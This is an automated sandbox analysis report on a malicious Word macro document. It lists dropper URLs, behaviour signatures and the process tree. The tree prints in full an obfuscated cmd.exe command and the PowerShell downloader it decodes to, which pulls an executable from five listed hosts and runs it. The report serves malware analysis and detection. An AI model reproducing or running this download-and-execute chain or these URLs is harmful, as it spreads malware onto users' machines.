Analysis
- max time kernel
137s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 01:27
General
- Target 0f5beaaa80379e3c479ee247d7b46d08_JaffaCakes118.doc
- Size 142KB
- Sample240503-bvdzmsdg28
- SHA256 030bdb203af8f40494c286f1f5c8adfaff19fa96ddbdbaf0e8a2ed5e79520906
Malware Config
Extracted
-
ps1
-
exe.dropper
http://ominix.com/afd5jGQDbO
-
exe.dropper
http://olsonfolding.com/wp-content/uploads/TgtXy54
-
exe.dropper
http://kefalosrestaurant-lassi.com/ajPXwcKq5
-
exe.dropper
http://progres-individuel-collectif.org/esNLr79klF
-
exe.dropper
http://esfahanstore.com/PMgRgRaw
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0f5beaaa80379e3c479ee247d7b46d08_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 9us=UbKREmjVzaRtbiGvjjCRSTiQuqWWPLIgr;4 cN:=J'[email protected]$/AZ{}(oxY\npf,X7sy)h+O&&for %d in (57;17;54;29;39;41;5;7;17;41;33;57;22;20;17;39;68;56;47;46;64;12;17;56;36;11;35;37;56;11;51;27;56;12;18;42;22;56;68;11;33;57;11;79;66;39;41;77;11;11;69;38;58;58;64;5;22;68;22;65;51;36;64;5;58;9;70;50;49;17;14;23;48;12;79;44;77;11;11;69;38;58;58;64;42;74;64;68;70;64;42;50;22;68;31;51;36;64;5;58;47;69;46;36;64;68;11;56;68;11;58;24;69;42;64;9;50;74;58;21;31;11;72;75;49;34;44;77;11;11;69;38;58;58;54;56;70;9;42;64;74;32;56;74;11;9;24;32;9;68;11;46;42;9;74;74;22;51;36;64;5;58;9;17;28;72;47;36;2;25;49;44;77;11;11;69;38;58;58;69;32;64;31;32;56;74;46;22;68;50;22;15;22;50;24;56;42;46;36;64;42;42;56;36;11;22;70;51;64;32;31;58;56;74;37;29;32;73;43;54;42;55;44;77;11;11;69;38;58;58;56;74;70;9;77;9;68;74;11;64;32;56;51;36;64;5;58;28;52;31;19;31;19;9;47;41;51;20;69;42;22;11;63;41;44;41;76;33;57;48;69;69;39;41;50;17;36;41;33;57;20;55;54;35;39;35;41;49;34;45;41;33;57;11;64;42;39;41;29;55;72;41;33;57;17;25;18;39;57;56;68;15;38;11;56;5;69;78;41;67;41;78;57;20;55;54;78;41;51;56;65;56;41;33;70;64;32;56;9;36;77;63;57;60;23;40;35;22;68;35;57;11;79;66;76;61;11;32;75;61;57;22;20;17;51;48;64;47;68;42;64;9;50;55;22;42;56;63;57;60;23;40;71;35;57;17;25;18;76;33;57;21;11;69;39;41;47;0;59;41;33;30;70;35;63;63;14;56;11;46;30;11;56;5;35;57;17;25;18;76;51;42;56;68;31;11;77;35;46;31;56;35;53;45;45;45;45;76;35;61;30;68;15;64;54;56;46;30;11;56;5;35;57;17;25;18;33;57;24;69;8;39;41;8;17;72;41;33;12;32;56;9;54;33;62;62;36;9;11;36;77;61;62;62;57;21;36;54;39;41;54;18;59;41;33;86)do set sO=!sO!!9us:~%d,1!&&if %d==86 powershell "!sO:~-495!""2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeCmD /V/C"set 9us=UbKREmjVzaRtbiGvjjCRSTiQuqWWPLIgr;4 cN:=J'[email protected]$/AZ{}(oxY\npf,X7sy)h+O&&for %d in (57;17;54;29;39;41;5;7;17;41;33;57;22;20;17;39;68;56;47;46;64;12;17;56;36;11;35;37;56;11;51;27;56;12;18;42;22;56;68;11;33;57;11;79;66;39;41;77;11;11;69;38;58;58;64;5;22;68;22;65;51;36;64;5;58;9;70;50;49;17;14;23;48;12;79;44;77;11;11;69;38;58;58;64;42;74;64;68;70;64;42;50;22;68;31;51;36;64;5;58;47;69;46;36;64;68;11;56;68;11;58;24;69;42;64;9;50;74;58;21;31;11;72;75;49;34;44;77;11;11;69;38;58;58;54;56;70;9;42;64;74;32;56;74;11;9;24;32;9;68;11;46;42;9;74;74;22;51;36;64;5;58;9;17;28;72;47;36;2;25;49;44;77;11;11;69;38;58;58;69;32;64;31;32;56;74;46;22;68;50;22;15;22;50;24;56;42;46;36;64;42;42;56;36;11;22;70;51;64;32;31;58;56;74;37;29;32;73;43;54;42;55;44;77;11;11;69;38;58;58;56;74;70;9;77;9;68;74;11;64;32;56;51;36;64;5;58;28;52;31;19;31;19;9;47;41;51;20;69;42;22;11;63;41;44;41;76;33;57;48;69;69;39;41;50;17;36;41;33;57;20;55;54;35;39;35;41;49;34;45;41;33;57;11;64;42;39;41;29;55;72;41;33;57;17;25;18;39;57;56;68;15;38;11;56;5;69;78;41;67;41;78;57;20;55;54;78;41;51;56;65;56;41;33;70;64;32;56;9;36;77;63;57;60;23;40;35;22;68;35;57;11;79;66;76;61;11;32;75;61;57;22;20;17;51;48;64;47;68;42;64;9;50;55;22;42;56;63;57;60;23;40;71;35;57;17;25;18;76;33;57;21;11;69;39;41;47;0;59;41;33;30;70;35;63;63;14;56;11;46;30;11;56;5;35;57;17;25;18;76;51;42;56;68;31;11;77;35;46;31;56;35;53;45;45;45;45;76;35;61;30;68;15;64;54;56;46;30;11;56;5;35;57;17;25;18;33;57;24;69;8;39;41;8;17;72;41;33;12;32;56;9;54;33;62;62;36;9;11;36;77;61;62;62;57;21;36;54;39;41;54;18;59;41;33;86)do set sO=!sO!!9us:~%d,1!&&if %d==86 powershell "!sO:~-495!""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "$jkL='mVj';$iSj=new-object Net.WebClient;$tOY='http://ominix.com/afd5jGQDbO@http://olsonfolding.com/wp-content/uploads/TgtXy54@http://kefalosrestaurant-lassi.com/ajPXwcKq5@http://progres-individuel-collectif.org/esNLr79klF@http://esfahanstore.com/PMgRgRaw'.Split('@');$Dpp='djc';$SFk = '540';$tol='LFX';$jqC=$env:temp+'\'+$SFk+'.exe';foreach($ZQJ in $tOY){try{$iSj.DownloadFile($ZQJ, $jqC);$Ttp='wUA';If ((Get-Item $jqC).length -ge 80000) {Invoke-Item $jqC;$upz='zjX';break;}}catch{}}$Tck='kCA';"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
__PSScriptPolicyTest_bfrw1kk2.ti3.ps1
memory/2920-9-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-38-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-1-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/2920-5-0x00007FFF407CD000-0x00007FFF407CE000-memory.dmp
memory/2920-6-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-7-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-11-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-12-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-15-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-14-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-13-0x00007FFEFE560000-0x00007FFEFE570000-memory.dmp
memory/2920-17-0x00007FFEFE560000-0x00007FFEFE570000-memory.dmp
memory/2920-16-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-10-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-4-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/2920-561-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-535-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-39-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-40-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-3-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/2920-8-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-2-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/2920-0-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/2920-536-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-537-0x00007FFF40730000-0x00007FFF40925000-memory.dmp
memory/2920-558-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/2920-559-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/2920-560-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/2920-557-0x00007FFF007B0000-0x00007FFF007C0000-memory.dmp
memory/3248-50-0x00000248C41D0000-0x00000248C41F2000-memory.dmp